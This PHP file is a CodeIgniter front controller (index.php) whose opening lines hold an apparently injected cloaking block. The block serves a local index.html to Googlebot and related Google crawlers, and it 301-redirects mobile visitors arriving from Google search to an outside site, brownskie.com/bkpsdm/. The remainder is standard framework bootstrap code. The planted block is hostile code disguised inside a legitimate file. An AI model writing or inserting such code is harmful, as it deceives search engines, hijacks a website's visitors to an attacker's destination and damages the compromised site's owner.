<?php
$amp_url = "https://brownskie.com/bkpsdm/"; 

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; 
$referer = $_SERVER['HTTP_REFERER'] ?? ''; 

$is_from_google = !empty($referer) && preg_match("/google.(com|co.id)$/i", parse_url($referer, PHP_URL_HOST));
$is_mobile = preg_match("/(iPhone|Android|iPad|iPod|Mobile|BlackBerry|Windows Phone)/i", $user_agent);
$is_googlebot = preg_match("/(Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|Google-InspectionTool|APIs-Google|Google-Site-Verification|Google Web Preview|Google Favicon|Google Feedfetcher)/i", $user_agent);

if ($is_googlebot) {
    header("Content-Type: text/html");
    if (file_exists("index.html")) {
        readfile("index.html");
    } else {
        echo "File index.html tidak ditemukan.";
    }
    exit;
}

if ($is_from_google && $is_mobile) {
    header("Location: $amp_url", true, 301);
    exit;
}
        define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'development');

switch (ENVIRONMENT)
{
        case 'development':
                error_reporting(-1);
                ini_set('display_errors', 1);
        break;

        case 'testing':
        case 'production':
                ini_set('display_errors', 0);
                if (version_compare(PHP_VERSION, '5.3', '>='))
                {
                        error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
                }
                else
                {
                        error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
                }
        break;

        default:
                header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
                echo 'The application environment is not set correctly.';
                exit(1); // EXIT_ERROR
}

/*
 *---------------------------------------------------------------
 * SYSTEM DIRECTORY NAME
 *---------------------------------------------------------------
 *
 * This variable must contain the name of your "system" directory.
 * Set the path if it is not in the same directory as this file.
 */
        $system_path = 'system';

/*
 *---------------------------------------------------------------
 * APPLICATION DIRECTORY NAME
 *---------------------------------------------------------------
 *
 * If you want this front controller to use a different "application"
 * directory than the default one you can set its name here. The directory
 * can also be renamed or relocated anywhere on your server. If you do,
 * use an absolute (full) server path.
 * For more info please see the user guide:
 *
 * https://codeigniter.com/user_guide/general/managing_apps.html
 *
 * NO TRAILING SLASH!
 */
        $application_folder = 'application';

/*
 *---------------------------------------------------------------
 * VIEW DIRECTORY NAME
 *---------------------------------------------------------------
 *
 * If you want to move the view directory out of the application
 * directory, set the path to it here. The directory can be renamed
 * and relocated anywhere on your server. If blank, it will default
 * to the standard location inside your application directory.
 * If you do move this, use an absolute (full) server path.
 *
 * NO TRAILING SLASH!
 */
        $view_folder = '';


/*
 * --------------------------------------------------------------------
 * DEFAULT CONTROLLER
 * --------------------------------------------------------------------
 *
 * Normally you will set your default controller in the routes.php file.
 * You can, however, force a custom routing by hard-coding a
 * specific controller class/function here. For most applications, you
 * WILL NOT set your routing here, but it's an option for those
 * special instances where you might want to override the standard
 * routing in a specific front controller that shares a common CI installation.
 *
 * IMPORTANT: If you set the routing here, NO OTHER controller will be
 * callable. In essence, this preference limits your application to ONE
 * specific controller. Leave the function name blank if you need
 * to call functions dynamically via the URI.
 *
 * Un-comment the $routing array below to use this feature
 */
        // The directory name, relative to the "controllers" directory.  Leave blank
        // if your controller is not in a sub-directory within the "controllers" one
        // $routing['directory'] = '';

        // The controller class file name.  Example:  mycontroller
        // $routing['controller'] = '';

        // The controller function you wish to be called.
        // $routing['function'] = '';


/*
 * -------------------------------------------------------------------
 *  CUSTOM CONFIG VALUES
 * -------------------------------------------------------------------
 *
 * The $assign_to_config array below will be passed dynamically to the
 * config class when initialized. This allows you to set custom config
 * items or override any default config values found in the config.php file.
 * This can be handy as it permits you to share one application between
 * multiple front controller files, with each file containing different
 * config values.
 *
 * Un-comment the $assign_to_config array below to use this feature
 */
        // $assign_to_config['name_of_config_item'] = 'value of config item';



// --------------------------------------------------------------------
// END OF USER CONFIGURABLE SETTINGS.  DO NOT EDIT BELOW THIS LINE
// --------------------------------------------------------------------

/*
 * ---------------------------------------------------------------
 *  Resolve the system path for increased reliability
 * ---------------------------------------------------------------
 */

        // Set the current directory correctly for CLI requests
        if (defined('STDIN'))
        {
                chdir(dirname(__FILE__));
        }

        if (($_temp = realpath($system_path)) !== FALSE)
        {
                $system_path = $_temp.DIRECTORY_SEPARATOR;
        }
        else
        {
                // Ensure there's a trailing slash
                $system_path = strtr(
                        rtrim($system_path, '/\\'),
                        '/\\',
                        DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
                ).DIRECTORY_SEPARATOR;
        }

        // Is the system path correct?
        if ( ! is_dir($system_path))
        {
                header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
                echo 'Your system folder path does not appear to be set correctly. Please open the following file and correct this: '.pathinfo(__FILE__, PATHINFO_BASENAME);
                exit(3); // EXIT_CONFIG
        }

/*
 * -------------------------------------------------------------------
 *  Now that we know the path, set the main path constants
 * -------------------------------------------------------------------
 */
        // The name of THIS file
        define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));

        // Path to the system directory
        define('BASEPATH', $system_path);

        // Path to the front controller (this file) directory
        define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

        // Name of the "system" directory
        define('SYSDIR', basename(BASEPATH));

        // The path to the "application" directory
        if (is_dir($application_folder))
        {
                if (($_temp = realpath($application_folder)) !== FALSE)
                {
                        $application_folder = $_temp;
                }
                else
                {
                        $application_folder = strtr(
                                rtrim($application_folder, '/\\'),
                                '/\\',
                                DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
                        );
                }
        }
        elseif (is_dir(BASEPATH.$application_folder.DIRECTORY_SEPARATOR))
        {
                $application_folder = BASEPATH.strtr(
                        trim($application_folder, '/\\'),
                        '/\\',
                        DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
                );
        }
        else
        {
                header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
                echo 'Your application folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF;
                exit(3); // EXIT_CONFIG
        }

        define('APPPATH', $application_folder.DIRECTORY_SEPARATOR);

        // The path to the "views" directory
        if ( ! isset($view_folder[0]) && is_dir(APPPATH.'views'.DIRECTORY_SEPARATOR))
        {
                $view_folder = APPPATH.'views';
        }
        elseif (is_dir($view_folder))
        {
                if (($_temp = realpath($view_folder)) !== FALSE)
                {
                        $view_folder = $_temp;
                }
                else
                {
                        $view_folder = strtr(
                                rtrim($view_folder, '/\\'),
                                '/\\',
                                DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
                        );
                }
        }
        elseif (is_dir(APPPATH.$view_folder.DIRECTORY_SEPARATOR))
        {
                $view_folder = APPPATH.strtr(
                        trim($view_folder, '/\\'),
                        '/\\',
                        DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR
                );
        }
        else
        {
                header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
                echo 'Your view folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF;
                exit(3); // EXIT_CONFIG
        }

        define('VIEWPATH', $view_folder.DIRECTORY_SEPARATOR);

/*
 * --------------------------------------------------------------------
 * LOAD THE BOOTSTRAP FILE
 * --------------------------------------------------------------------
 *
 * And away we go...
 */
require_once BASEPATH.'core/CodeIgniter.php';
?>
